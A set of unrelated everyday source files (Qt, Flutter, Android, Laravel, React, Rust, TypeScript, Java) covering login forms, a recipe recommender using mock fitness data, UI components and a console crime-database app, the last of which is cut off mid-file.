self._unrequited = Relation('Unrequited love', icon='mdi.heart-half-full', icon_color='#d1495b')
self._colleague = Relation('Colleague', icon='fa5s.briefcase', icon_color='#9c6644')
self._student = Relation('Student', icon='fa5s.graduation-cap', icon_color='black')
self._foil = Relation('Foil', icon='fa5s.yin-yang', icon_color='#947eb0')
self._friendship = Relation('Friendship', icon='fa5s.user-friends', icon_color='#457b9d')
self._sidekick = Relation('Sidekick', icon='ei.asl', icon_color='#b0a990')
self._guide = Relation('Guide', icon='mdi.compass-rose', icon_color='#80ced7')
self._supporter = Relation('Supporter', icon='fa5s.thumbs-up', icon_color='#266dd3')
self._adversary = Relation('Adversary', icon='fa5s.thumbs-down', icon_color='#9e1946')
self._betrayal = Relation('Betrayal', icon='mdi6.knife', icon_color='grey')
self._conflict = Relation('Conflict', icon='mdi.sword-cross', icon_color='#f3a712')
self._newAction(self._romance, 0, 0)
self._newAction(self._affection, 0, 1)
self._newAction(self._crush, 0, 2)
self._newAction(self._breakUp, 1, 0)
self._newAction(self._unrequited, 1, 1, 2)
self.addSeparator(2, 0, colSpan=3)
self._newAction(self._friendship, 3, 0)
self._newAction(self._sidekick, 3, 1)
self._newAction(self._guide, 3, 2)
self._newAction(self._supporter, 4, 0)
self._newAction(self._adversary, 4, 1)
self._newAction(self._betrayal, 5, 0)
self._newAction(self._conflict, 5, 1)
self._newAction(self._foil, 6, 0)
self.addSeparator(7, 0, colSpan=3)
self._newAction(self._colleague, 8, 0)
self._newAction(self._student, 8, 1)
def _newAction(self, relation: Relation, row: int, col: int, colSpan: int = 1, showText: bool = True) -> QAction:
text = relation.text if showText else ''
action_ = action(text, IconRegistry.from_name(relation.icon, relation.icon_color))
action_.setToolTip(relation.text)
self.addAction(action_, row, col, colSpan=colSpan)
action_.triggered.connect(lambda: self.relationSelected.emit(relation))
return action_
class RelationConnectorEditor(ConnectorEditor):
def __init__(self, parent=None):
super().__init__(parent)
self._relationSelector: Optional[RelationSelector] = None
def setNetwork(self, diagram: Diagram):
self._relationSelector = RelationSelector(diagram, self._btnRelationType)
self._relationSelector.relationSelected.connect(self._relationChanged)
def _relationChanged(self, relation: Relation):
if self._connector:
self._connector.setRelation(relation)
self._updateIcon(relation.icon)
self._updateColor(relation.icon_color)
|
// ignore_for_file: must_be_immutable, use_key_in_widget_constructors
import 'package:flutter/material.dart';
class Elaborate extends StatefulWidget {
Map data;
String did;
Elaborate(this.data, this.did);
@override
State<Elaborate> createState() => _ElaborateState();
}
class _ElaborateState extends State<Elaborate> {
@override
Widget build(BuildContext context) {
return Scaffold(
appBar: AppBar(
title: Text(
widget.data["name"],
style: const TextStyle(
fontWeight: FontWeight.bold,
fontFamily: "OpenSans",
),
),
centerTitle: true,
),
body: SingleChildScrollView(
child: Container(
margin: const EdgeInsets.only(top: 10, left: 8, right: 8, bottom: 10),
child: Column(
mainAxisAlignment: MainAxisAlignment.center,
crossAxisAlignment: CrossAxisAlignment.center,
children: [
Container(
alignment: Alignment.center,
margin: const EdgeInsets.all(20),
height: 150,
width: double.infinity,
child: Hero(
tag: widget.data,
child: Image.asset(
widget.data["url"],
fit: BoxFit.cover,
alignment: Alignment.center,
),
),
),
SizedBox(
child: Row(
crossAxisAlignment: CrossAxisAlignment.start,
mainAxisAlignment: MainAxisAlignment.spaceEvenly,
children: [
Expanded(
child: Text(
widget.data["description"],
overflow: TextOverflow.clip,
style: const TextStyle(
fontWeight: FontWeight.w500,
fontFamily: "Times",
),
),
),
],
),
),
SizedBox(
width: double.infinity,
child: DataTable(
columns: const [
DataColumn(
label: Text(
'',
style: TextStyle(
fontSize: 18,
fontWeight: FontWeight.bold,
),
),
),
DataColumn(
label: Text(
'',
)),
],
rows: [
DataRow(cells: [
const DataCell(Text('Quantity Available')),
DataCell(
Text(
widget.data["stock"],
maxLines: 50,
overflow: TextOverflow.clip,
),
),
]),
DataRow(cells: [
const DataCell(Text('Price')),
DataCell(Text(widget.data["price"])),
]),
],
),
),
],
),
),
),
);
}
}
|
package com.example.androidproject;
import androidx.appcompat.app.AlertDialog;
import androidx.appcompat.app.AppCompatActivity;
import android.annotation.SuppressLint;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.SharedPreferences;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.CheckBox;
import android.widget.EditText;
import android.widget.Toast;
public class Login extends AppCompatActivity {
private EditText etaUserId, etPassword;
private CheckBox cbRememberbUserId, cbRembmberPassowrd;
private Button btnSignup, btn1Go, btn1Exit;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_login);
etaUserId = findViewById(R.id.etaUserId);
etPassword = findViewById(R.id.etPassword);
cbRememberbUserId = findViewById(R.id.cbRememberbUserId);
cbRembmberPassowrd = findViewById(R.id.cbRembmberPassowrd);
btnSignup = findViewById(R.id.btnSignup);
btn1Go = findViewById(R.id.btn1Go);
btn1Exit = findViewById(R.id.btn1Exit);
btn1Exit.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
finish();
}
});
btnSignup.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent i = new Intent(Login.this, Signup.class);
startActivity(i);
finish();
}
});
btn1Go.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
processLogin();
}
});
}
private void processLogin() {
String userId = etaUserId.getText().toString().trim();
String pass = etPassword.getText().toString().trim();
SharedPreferences sp = this.getSharedPreferences("user_info", MODE_PRIVATE);
String savedUserId = sp.getString("USER_ID", "");
String savedPassword = sp.getString("PASSWORD", "");
if (userId.equals(savedUserId) && pass.equals(savedPassword)) {
SharedPreferences.Editor editor = sp.edit();
editor.putBoolean("REM_USER", cbRememberbUserId.isChecked());
editor.putBoolean("REM_PASS", cbRembmberPassowrd.isChecked());
editor.apply();
// Show success message
showSuccessDialog();
Intent i = new Intent(Login.this, MainActivity.class);
i.putExtra("User_Id", userId);
startActivity(i);
finish();
} else {
showErrorDialog("Invalid credentials. Please try again.");
}
}
private void showErrorDialog(String errorMessage) {
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setMessage(errorMessage);
builder.setTitle("Error");
builder.setCancelable(true);
builder.setPositiveButton("Ok", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
dialog.cancel();
}
});
AlertDialog alert = builder.create();
alert.show();
}
private void showSuccessDialog() {
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setMessage("Login Successful!");
builder.setTitle("Success");
builder.setCancelable(false);
builder.setPositiveButton("OK", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
dialog.dismiss();
}
});
AlertDialog alert = builder.create();
alert.show();
}
}
|
<?php
namespace App\Http\Controllers;
use App\Enums\ChronicDiseasesEnum;
use App\Http\Controllers\Controller;
use App\Models\MealHistory;
use Carbon\Carbon;
use GuzzleHttp\Client;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
use Illuminate\Pagination\LengthAwarePaginator;
class RecipeController extends Controller
{
public function dashboard()
{
$activities = [
"activities" => [],
"goals" => [
"activeMinutes" => 30,
"caloriesOut" => 1950,
"distance" => 8.05,
"floors" => 10,
"steps" => 6800
],
"summary" => [
"activeScore" => -1,
"activityCalories" => 525,
"calorieEstimationMu" => 2241,
"caloriesBMR" => 1973,
"caloriesOut" => 2628,
"caloriesOutUnestimated" => 2628,
"customHeartRateZones" => [
[
"caloriesOut" => 2616.7788,
"max" => 140,
"min" => 30,
"minutes" => 1432,
"name" => "Below"
],
[
"caloriesOut" => 0,
"max" => 165,
"min" => 140,
"minutes" => 0,
"name" => "Custom Zone"
],
[
"caloriesOut" => 0,
"max" => 220,
"min" => 165,
"minutes" => 0,
"name" => "Above"
]
],
"distances" => [
[
"activity" => "total",
"distance" => 1.26
],
[
"activity" => "tracker",
"distance" => 1.26
],
[
"activity" => "loggedActivities",
"distance" => 0
],
[
"activity" => "veryActive",
"distance" => 0
],
[
"activity" => "moderatelyActive",
"distance" => 0
],
[
"activity" => "lightlyActive",
"distance" => 1.25
],
[
"activity" => "sedentaryActive",
"distance" => 0
]
],
"elevation" => 0,
"fairlyActiveMinutes" => 0,
"floors" => 0,
"heartRateZones" => [
[
"caloriesOut" => 1200.33336,
"max" => 86,
"min" => 30,
"minutes" => 812,
"name" => "Out of Range"
],
[
"caloriesOut" => 1409.4564,
"max" => 121,
"min" => 86,
"minutes" => 619,
"name" => "Fat Burn"
],
[
"caloriesOut" => 6.98904,
"max" => 147,
"min" => 121,
"minutes" => 1,
"name" => "Cardio"
],
[
"caloriesOut" => 0,
"max" => 220,
"min" => 147,
"minutes" => 0,
"name" => "Peak"
]
],
"lightlyActiveMinutes" => 110,
"marginalCalories" => 281,
"restingHeartPate" => 77,
"sedentaryMinutes" => 802,
"steps" => 1698,
"useEstimation" => true,
"veryActiveMinutes" => 0
]
];
$total_calories_burned = $activities['summary']['caloriesOut'];
// echo $total_calories_burned;
//
$food_goals = [
"goals" => [
"calories" => 2910
]
];
$calories_goal = $food_goals['goals']['calories'];
// echo $calories_goal;
//
$user = Auth::user();
$userId = $user->id;
$start_of_Day = Carbon::today()->startOfDay();
$end_of_day = Carbon::today()->endOfDay();
$database_calories = MealHistory::where('user_id', $userId)
->whereBetween('created_at', [$start_of_Day, $end_of_day])
->sum('calories');
$now = now();
$currentHour = $now->format('H');
$total_calories = $calories_goal + $total_calories_burned - $database_calories;
if ($currentHour >= 6 && $currentHour < 11) {
$mealType = "Breakfast";
$allowed_calories = $total_calories * 0.30;
} elseif ($currentHour >= 11 && $currentHour < 15) {
$mealType = "Lunch";
$allowed_calories = $total_calories * 0.35;
} elseif ($currentHour >= 15 && $currentHour < 18) {
$mealType = "Snack";
$allowed_calories = $total_calories * 0.10;
} elseif ($currentHour >= 18 && $currentHour < 21) {
$mealType = "Dinner";
$allowed_calories = $total_calories * 0.25;
} else {
$mealType = "It's not mealtime";
}
$core_temperature = [
"tempCore" => [
[
"dateTime" => "2020-06-18T10:00:00",
"value" => 37.5,
],
[
"dateTime" => "2020-06-18T12:10:00",
"value" => 38.1,
],
]
];
$most_recent_measurement = end($core_temperature['tempCore']);
$most_recent_temperature = $most_recent_measurement['value'];
$most_recent_temperature = 36;
if ($most_recent_temperature > 38) {
$minVitaminC = 10;
$minZinc = 15;
$maxSpice = 0;
$exclude_ingredients[] = 'coffee';
}
$sleep = [
"sleep" => [
[
"dateOfSleep" => "2020-02-21",
"duration" => 27720000,
"efficiency" => 96,
"endTime" => "2020-02-21T07:03:30.000",
"infoCode" => 0,
"isMainSleep" => true,
"levels" => [
"data" => [
[
"dateTime" => "2020-02-20T23:21:30.000",
"level" => "wake",
"seconds" => 630
],
[
"dateTime" => "2020-02-20T23:32:00.000",
"level" => "light",
"seconds" => 30
],
[
"dateTime" => "2020-02-20T23:32:30.000",
"level" => "deep",
"seconds" => 870
],
// ... other data elements ...
[
"dateTime" => "2020-02-21T06:32:30.000",
"level" => "light",
"seconds" => 1860
]
],
"shortData" => [
[
"dateTime" => "2020-02-21T00:10:30.000",
"level" => "wake",
"seconds" => 30
],
[
"dateTime" => "2020-02-21T00:15:00.000",
"level" => "wake",
"seconds" => 30
],
// ... other shortData elements ...
[
"dateTime" => "2020-02-21T06:18:00.000",
"level" => "wake",
"seconds" => 60
]
],
"summary" => [
"deep" => [
"count" => 5,
"minutes" => 104,
"thirtyDayAvgMinutes" => 69
],
"light" => [
"count" => 32,
"minutes" => 205,
"thirtyDayAvgMinutes" => 202
],
"rem" => [
"count" => 11,
"minutes" => 75,
"thirtyDayAvgMinutes" => 87
],
"wake" => [
"count" => 30,
"minutes" => 78,
"thirtyDayAvgMinutes" => 55
]
]
],
"logId" => 26013218219,
"minutesAfterWakeup" => 0,
"minutesAsleep" => 384,
"minutesAwake" => 78,
"minutesToFallAsleep" => 0,
"logType" => "auto_detected",
"startTime" => "2020-02-20T23:21:30.000",
"timeInBed" => 462,
"type" => "stages"
]
],
"summary" => [
"stages" => [
"deep" => 104,
"light" => 205,
"rem" => 75,
"wake" => 78
],
"totalMinutesAsleep" => 384,
"totalSleepRecords" => 1,
"totalTimeInBed" => 462
]
];
$most_recent_sleep = end($sleep['sleep']);
$efficiency = $most_recent_sleep['efficiency']; //85
$minutesAsleep = $most_recent_sleep['minutesAsleep']; //420
$timeInBed = $most_recent_sleep['timeInBed']; //480
$hours_asleep = $minutesAsleep / 60;
$hoursInBed = $timeInBed / 60;
if ($efficiency >= 85 && $hours_asleep >= 7 && $hours_asleep <= 9) {
$sleep_quality = "good";
} elseif ($hours_asleep < 7) {
$sleep_quality = "insufficient";
if ($currentHour >= 14) {
$exclude_ingredients[] = 'coffee';
}
} elseif ($hours_asleep > 9) {
$sleep_quality = "excessive";
} elseif ($hoursInBed > $hours_asleep + 1) { // If time in bed > sleep time
$sleep_quality = "disturbed";
if ($currentHour >= 14) {
$exclude_ingredients[] = 'coffee';
}
} else {
$sleep_quality = "poor";
if ($currentHour >= 14) {
$exclude_ingredients[] = 'coffee';
}
}
// echo $sleep_quality;
//
$breathing = [
"br" => [
[
"value" => [
"breathingRate" => 17.8
],
"dateTime" => "2021-10-25"
]
]
];
$most_recent_breathing = end($breathing['br']);
$breathing_rate = $most_recent_breathing['value']['breathingRate'];
//
$heart_rate = [
"ecgReadings" => [
[
"startTime" => "2022-09-28T17:12:30.222",
"averageHeart_rate" => 70,
"resultClassification" => "Normal Sinus Rhythm",
"waveformSamples" => [
130,
176,
252,
365,
// ... other waveformSamples elements ...
],
"samplingFrequencyHz" => "250",
"scalingFactor" => 10922,
"numberOfWaveformSamples" => 7700,
"leadNumber" => 1,
"featureVersion" => "1.2.3-2.11-2.14",
"deviceName" => "Sense",
"firmwareVersion" => "1.2.3"
]
],
"pagination" => [
"afterDate" => "2022-09-28T20:00:00",
"limit" => 1,
"next" => "https://api.fitbit.com/1/user/-/ecg/list.json?offset=10&limit=10&sort=asc&afterDate=2022-09-28T21:00:00",
"offset" => 0,
"previous" => "",
"sort" => "asc"
]
];
$most_recent_heart_rate = end($heart_rate['ecgReadings']);
$averageHeart_rate = $most_recent_heart_rate['averageHeart_rate'];
if (($breathing_rate >= 12 && $breathing_rate <= 20) && ($averageHeart_rate >= 60 && $averageHeart_rate <= 100)) {
$breath_rate = "normal";
$heart_rate = "normal";
} else {
$breath_rate = "anormal";
$heart_rate = "anormal";
$exclude_ingredients = array_merge($exclude_ingredients, array('coffee', 'hot sauce'));
$maxAlcohol = 0;
}
// echo $total_calories;
// echo "<br>";
// echo $breath_rate;
// echo "<br>";
// echo $heart_rate;
// echo "<br>";
$allergies = $user->allergies ?? null;
$intolerances = isset($allergies) ? implode(", ", $allergies) : null;
$exclude_ingredients = [];
$ethicalMealConsiderations = $user->ethical_meal_considerations;
if ($ethicalMealConsiderations == 1) {
$exclude_ingredients = array_merge($exclude_ingredients, [
'gelatin',
'ground pork',
'ground pork sausage',
'lean pork tenderloin',
'pork',
'Pork & Beans',
'pork belly',
'pork butt',
'pork chops',
'pork links',
'pork loin chops',
'pork loin roast',
'pork roast',
'pork shoulder',
'pork tenderloin'
]);
$maxAlcohol = 0;
}
//finding actions from the if else below the switch
$chronicDiseases = $user->chronic_diseases ?? null;
if (isset($chronicDiseases)) {
foreach ($chronicDiseases as $disease) {
switch ($disease) {
case ChronicDiseasesEnum::CARDIOVASCULAR_DISEASES:
case ChronicDiseasesEnum::DIABETES:
case ChronicDiseasesEnum::OBESITY_AND_OVERWEIGHT:
case ChronicDiseasesEnum::CHRONIC_KIDNEY_DISEASE:
$maxSaturatedFat = 15;
$maxSodium = 200;
break;
case ChronicDiseasesEnum::CANCER:
$maxSaturatedFat = 10;
$maxSugar = 20;
break;
case ChronicDiseasesEnum::RESPIRATORY_DISEASES:
$maxSaturatedFat = 15;
$maxSodium = 300;
break;
case ChronicDiseasesEnum::ALZHEIMERS_AND_DEMENTIAS:
$maxSaturatedFat = 15;
$maxCholesterol = 30;
break;
case ChronicDiseasesEnum::INFECTIOUS_DISEASES:
$maxSaturatedFat = 15;
$maxSugar = 20;
break;
case ChronicDiseasesEnum::MENTAL_HEALTH_DISORDERS:
$maxSugar = 30;
break;
case ChronicDiseasesEnum::OSTEOARTHRITIS_AND_RHEUMATOID_ARTHRITIS:
$maxSaturatedFat = 15;
$maxSugar = 20;
break;
case ChronicDiseasesEnum::GASTROESOPHAGEAL_REFLUX_DISEASE:
$maxSaturatedFat = 15;
$maxSugar = 20;
$maxCaffeine = 50;
break;
case ChronicDiseasesEnum::OTHER:
break;
}
}
}
$exclude_ingredients[] = 'coffee';
$unique_ingredients_array = array_unique($exclude_ingredients);
$exclude_ingredients = implode(',', $unique_ingredients_array);
//spoonacular
$client = new Client();
$params = [
'query' => [
'apiKey' => env('API_KEY'),
'query' => request()->has('search') ? request()->input('search') : null,
'maxCalories' => $allowed_calories ?? null,
'minVitaminC' => $minVitaminC ?? null,
'minZinc' => $minZinc ?? null,
'maxSpice' => $maxSpice ?? null,
'exclude_ingredients' => $exclude_ingredients ?? null,
'sort' => 'healthiness' ?? null,
'addRecipeNutrition' => true,
'maxAlcohol' => $maxAlcohol ?? null,
'cuisine' => request()->has('cuisine') ? implode(',', request()->input('cuisine')) : null,
'type' => request()->has('type') ? implode(',', request()->input('type')) : null,
'diet' => request()->has('diet') ? implode(',', request()->input('diet')) : null,
'intolerances' => $intolerances ?? null,
'maxSaturatedFat' => $maxSaturatedFat ?? null,
'maxSodium' => $maxSodium ?? null,
'maxSugar' => $maxSugar ?? null,
'maxCaffeine' => $maxCaffeine ?? null,
'maxCholesterol' => $maxCholesterol ?? null,
'number' => '200',
]
];
$response = $client->request('GET', 'https://api.spoonacular.com/recipes/complexSearch', $params);
if ($response->getStatusCode() == 200) {
$recipes = json_decode($response->getBody(), true);
$currentPage = LengthAwarePaginator::resolveCurrentPage();
$itemCollection = collect($recipes['results']);
$perPage = 10;
$currentPageItems = $itemCollection->slice(($currentPage * $perPage) - $perPage, $perPage)->all();
$paginatedItems = new LengthAwarePaginator($currentPageItems, count($itemCollection), $perPage);
$paginatedItems->appends(request()->query());
$paginatedItems->setPath(request()->url());
return view('index', ['recipes' => $paginatedItems]);
} else {
$errorMessage = "Error: " . $response->getStatusCode();
return view('index')->with('error', $errorMessage);
}
}
public function recipe($id, Request $request)
{
$client = new Client();
$params = [
'query' => [
'apiKey' => env('API_KEY'),
]
];
$response = $client->request('GET', 'https://api.spoonacular.com/recipes/' . $id . '/information', $params);
if ($response->getStatusCode() == 200) {
$responseData = json_decode($response->getBody(), true);
return view('recipe_detail', ['recipe' => $responseData, 'calories' => $request->input('calories')]);
} else {
$errorMessage = "Error: " . $response->getStatusCode();
return view('recipe_detail')->with('error', $errorMessage);
}
}
}
|
/* istanbul ignore file */
/* tslint:disable */
/* eslint-disable */
import type { DefaultImageType } from '../models/DefaultImageType';
import type { FileInfoDto } from '../models/FileInfoDto';
import type { CancelablePromise } from '../core/CancelablePromise';
import type { BaseHttpRequest } from '../core/BaseHttpRequest';
export class DefaultImageService {
constructor(public readonly httpRequest: BaseHttpRequest) {}
/**
* @param fileTypeName
* @param formData
* @returns FileInfoDto Success
* @throws ApiError
*/
public upload(
fileTypeName: DefaultImageType,
formData?: {
Content?: Blob;
},
): CancelablePromise<FileInfoDto> {
return this.httpRequest.request({
method: 'POST',
url: '/api/default-image/upload',
query: {
'FileTypeName': fileTypeName,
},
formData: formData,
mediaType: 'multipart/form-data',
errors: {
400: `Bad Request`,
401: `Unauthorized`,
403: `Forbidden`,
404: `Not Found`,
500: `Server Error`,
501: `Server Error`,
},
});
}
/**
* @param fileTypeName
* @returns void
* @throws ApiError
*/
public get(
fileTypeName: string,
): CancelablePromise<void> {
return this.httpRequest.request({
method: 'GET',
url: '/api/default-image/{fileTypeName}',
path: {
'fileTypeName': fileTypeName,
},
errors: {
400: `Bad Request`,
401: `Unauthorized`,
403: `Forbidden`,
404: `Not Found`,
500: `Server Error`,
501: `Server Error`,
},
});
}
}
|
import { useState } from "react";
import axiosInstance from "../utils/axiosInstance";
import { useNavigate } from "react-router-dom";
import "../css/LoginForm.css"
const LoginForm = () => {
const navigate = useNavigate();
const [email, setEmail] = useState("");
const [password, setPassword] = useState("");
const [error, setError] = useState(null);
const handleLogin = (e) => {
e.preventDefault();
const data = {
email: email,
password: password,
};
axiosInstance.post("/users/login", data)
.then(resp => {
const userData = resp.data
console.log(userData);
localStorage.setItem("token", userData.Authorization);
localStorage.setItem("userId", userData.userId);
localStorage.setItem("role", userData.role);
navigate("/");
})
.catch((error) => {
setError("Invalid email or password. Please try again.");
console.log(error);
})
;
}
return (
<div className="form-container">
<h1>Login</h1>
<form onSubmit={handleLogin}>
<div>
<h4>Email</h4>
<input
type="email"
value={email}
placeholder="Enter your email"
onChange={(e) => {
setEmail(e.target.value);
}}
/>
</div>
<div>
<h4>Password</h4>
<input
type="password"
value={password}
placeholder="Enter password"
onChange={(e) => {
setPassword(e.target.value);
}}
/>
</div>
{error && <p className="error-message">{error}</p>}
<button type="submit">Login</button>
</form>
</div>
);
};
export default LoginForm
|
/* eslint-disable react-hooks/exhaustive-deps */
import React from 'react';
import './table-style.css';
export default function DBUpdate() {
let [data, setData] = React.useState('')
const form = React.useRef()
React.useEffect(() => {
fetch('/api/db/read') //อ่านข้อมูลมาแสดงผล
.then(response => response.json())
.then(result => {
if(result.length > 0){
showData(result)
}else{
setData(<>ไม่มีรายการข้อมูล</>)
}
})
.catch(err => alert(err))
}, [])
const showData = (result) => {
let r = (
<form onSubmit={onSubmitForm} ref={form}>
<table>
<tr>
<th>ลบ</th><th className="thLeft">ชื่อสินค้า</th><th>ราคา</th><th>วันที่เพิ่มสินค้า</th><th className="thLeft">รายละเอียดสินค้า</th>
</tr>
{
result.map(doc => {
let dt = new Date(Date.parse(doc.date_added))
let dmy = (
<>{dt.getDate()}-{dt.getMonth()+1}-{dt.getFullYear()}</>
)
let p = new Intl.NumberFormat().format(doc.price)
return (
<tr>
<td class="tdCenter">
<input type="radio" name="_id" value={doc._id}/>
</td>
<td>{doc.name}</td>
<td className="tdCenter">{p}</td>
<td className="tdCenter">{dmy}</td>
<td>{doc.detail}</td>
</tr>
)
})
}
</table>
<br />
<button>ลบรายการที่เลือก</button>
</form>
)
setData(r)
}
const onSubmitForm = (event) => {
event.preventDefault()
const fd = new FormData(form.current)
const fe = Object.fromEntries(fd.entries())
if (Object.keys(fe).length === 0) {
alert('ต้องเลือกรายการที่จะลบ')
return
}
if (!window.confirm('ยืนยันลบรายการนี้')) { return }
fetch('/api/db/delete', {
method: 'POST',
body: JSON.stringify(fe),
headers: {'Content-Type' : 'application/json'}
})
.then(response => response.json())
.then(result => {
if(result.error) {
alert(result.error)
} else {
if (result.length === 0) {
setData('ไม่มีรายการข้อมูล')
} else { //หลังการลบก็อ่านข้อมูลมาแสดงใหม่อีกครั้ง
showData(result)
}
alert('ข้อมูลถูกลบแล้ว')
}
})
.catch(err => alert(err))
}
return (
<div style={{margin:'20px'}}>
<div id="data">{data}</div><br/>
<a href="/db">หน้าหลัก</a>
</div>
)
}
|
use std::sync::Arc;
use bevy::{
prelude::*,
render::renderer::{RenderAdapter, RenderContext, RenderInstance},
};
use bevy_egui::{
egui::{Align2, Area, Label},
*,
};
use crate::prelude::{
AiEnvironment, AiError, AiModel, AiPromptEvent, AiPromptEvents, CurrentPrompt, CurrentResponse,
};
#[derive(Default)]
pub struct UiPlugin;
impl Plugin for UiPlugin {
fn build(&self, app: &mut App) {
app.add_plugins(EguiPlugin)
.add_systems(Update, chat.in_set(AiPromptEvents::WritePrompt));
}
}
fn chat(
mut contexts: EguiContexts,
mut prompt: ResMut<CurrentPrompt>,
response: Res<CurrentResponse>,
mut prompt_events: EventWriter<AiPromptEvent>,
model: NonSend<AiModel>,
environment: Res<AiEnvironment>,
ai_error: Res<AiError>,
) {
let ctx = contexts.ctx_mut();
egui::SidePanel::left("side_panel")
.default_width(200.0)
.show(ctx, |ui| {
ui.heading("Options");
match &model.0 {
Some(n) => {
ui.label("Model loaded");
}
None => {
ui.label("Model not loaded");
}
}
match environment.0 {
Some(_) => {
ui.label("Environment loaded");
}
None => {
ui.label("Environment not loaded");
}
}
ui.heading("Error(s):");
match &ai_error.0 {
Some(e) => {
ui.label(e);
}
None => {}
}
ui.allocate_space(egui::Vec2::new(1.0, 100.0));
ui.with_layout(egui::Layout::bottom_up(egui::Align::Center), |ui| {
ui.add(egui::Hyperlink::from_label_and_url(
"powered by egui",
"https://github.com/emilk/egui/",
));
});
});
egui::CentralPanel::default().show(ctx, |ui| {
ui.heading("Chat");
ui.horizontal(|ui| {
let name_label = ui.label("Prompt: ");
ui.text_edit_singleline(&mut prompt.0)
.labelled_by(name_label.id);
if ui.button("Submit").clicked() {
// Do some sort of submission here!
//info!("Hello!");
prompt_events.send(AiPromptEvent {
prompt: prompt.0.clone(),
});
}
});
ui.heading("Ai response: ");
// The response of the AI
if let Some(ai_response) = &response.0 {
ui.label(ai_response);
}
});
}
|
import React from 'react';
import chatStyle from './chat.module.css';
import { Avatar } from '@mantine/core';
type IProps = {
name: string,
msg: string,
time: string,
avatar: string
}
export default function MsgItem(props: IProps){
const myName = localStorage.getItem('userName');
const isMe = myName === props.name;
return (
<div className={chatStyle.msgItem} style={{flexDirection: isMe ? 'row-reverse' : 'row' }}>
<Avatar src={props.avatar} radius="xl"></Avatar>
<div className={chatStyle.msgBody}>
<div className={chatStyle.msgInfo}>{props.name} {props.time}</div>
<div className={chatStyle.msgText}>{props.msg}</div>
</div>
</div>
)
}
|
import { useCallback } from 'react';
import {
Text,
Modal as ChakraModal,
ModalBody,
ModalCloseButton,
ModalContent,
ModalHeader,
ModalOverlay,
} from '@chakra-ui/react';
import { ModalProps } from '@global-components/Modal/types';
import { useModal } from '@global-stores/useModal';
export const Modal = ({ children, title }: ModalProps) => {
const { isOpen, setOpenModal } = useModal();
const close = useCallback(() => {
setOpenModal(false);
}, [setOpenModal]);
return (
<ChakraModal blockScrollOnMount={false} isOpen={isOpen} onClose={close}>
<ModalOverlay />
<ModalContent>
{!!title && (
<ModalHeader>
<Text fontSize="lg" fontWeight="bold">
{title}
</Text>
</ModalHeader>
)}
<ModalCloseButton />
<ModalBody height="100%" padding="50px">
{children}
</ModalBody>
</ModalContent>
</ChakraModal>
);
};
|
import request from 'supertest';
import { app } from '../../app';
import { userSignUp } from '../../test/utils';
describe('GET /api/users/current-user', () => {
// ---------------------
// SUCCESSFUL REQUEST
it('returns status 200 on successful request', async () => {
const signUpRes = await userSignUp('[email protected]', 'abcd1234');
const cookie = signUpRes.get('Set-Cookie');
const response = await request(app)
.get('/api/users/currentuser')
.set('Cookie', cookie)
.send();
expect(response.status).toEqual(200);
});
// ---------------------
// FAILED REQUESTS
it('returns status 401 on unauthenticated request', async () => {
const response = await request(app).get('/api/users/currentuser').send();
expect(response.status).toEqual(401);
});
});
|
import { schema, CustomMessages, rules } from '@ioc:Adonis/Core/Validator'
import type { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'
import { TransactionMethods, TransactionStatus, TransactionTypes } from '../lib/enums'
export default class UpdateTransactionValidator {
constructor(protected ctx: HttpContextContract) {}
public schema = schema.create({
coa_id: schema.string.optional({}, [
rules.exists({ table: 'finance.coas', column: 'id' })
]),
billing_id: schema.string.optional({}, [
rules.exists({ table: 'finance.billings', column: 'id' })
]),
document_id: schema.string.optional({}, [
rules.exists({ table: 'finance.transaction_documents', column: 'id' })
]),
revenue_id: schema.string.optional([
rules.exists({ table: 'finance.revenues', column: 'id' })
]),
// teller_id: schema.string.optional({}, [
// rules.exists({ table: 'public.employees', column: 'id' })
// ]),
amount: schema.number.optional(),
method: schema.enum.optional(Object.values(TransactionMethods)),
type: schema.enum.optional(Object.values(TransactionTypes)),
description: schema.string.optional(),
status: schema.enum.optional(Object.values(TransactionStatus)),
// items: schema.array.optional().members(
// schema.object().members({
// billing_id: schema.string([
// rules.exists({table: 'finance.billings', column: 'id'})
// ]),
// amount: schema.number()
// })
// )
})
public messages: CustomMessages = {}
}
|
package org.example;
import java.util.ArrayList;
import java.util.Scanner;
public class InterpolDatabaseApp {
public static void main(String[] args) {
InterpolDatabase interpolDatabase = new InterpolDatabase();
Scanner scanner = new Scanner(System.in);
System.out.println("Добро пожаловать в базу данных Интерпола!");
while (true) {
System.out.println("\nВыберите действие:");
System.out.println("1 - Добавить преступника");
System.out.println("2 - Поиск преступника");
System.out.println("3 - Удалить преступника");
System.out.println("4 - Просмотреть базу данных");
System.out.println("5 - Выйти из программы");
int choice = scanner.nextInt();
scanner.nextLine(); // Очищаем буфер после ввода числа
switch (choice) {
case 1:
Criminal criminal = createCriminal(scanner);
interpolDatabase.addCriminal(criminal);
System.out.println("\nПреступник успешно добавлен.");
break;
case 2:
searchCriminal(interpolDatabase, scanner);
break;
case 3:
deleteCriminal(interpolDatabase, scanner);
break;
case 4:
viewInterpolDatabase(interpolDatabase);
break;
case 5:
System.out.println("До свидания!");
System.exit(0);
break;
default:
System.out.println("Неверный выбор. Пожалуйста, введите правильное число.");
}
}
}
private static Criminal createCriminal(Scanner scanner) {
System.out.println("\n=== Добавление нового преступника ===");
System.out.println("Введите фамилию: ");
String lastName = scanner.nextLine();
System.out.println("Введите имя: ");
String firstName = scanner.nextLine();
System.out.println("Введите кличку: ");
String nickname = scanner.nextLine();
int height = 0;
boolean validHeight = false;
while (!validHeight) {
System.out.println("Введите рост: ");
try {
height = Integer.parseInt(scanner.nextLine());
validHeight = true;
} catch (NumberFormatException e) {
System.out.println("Рост должен быть целым числом.");
}
}
System.out.println("Введите цвет волос: ");
String hairColor = scanner.nextLine();
System.out.println("Введите особые приметы: ");
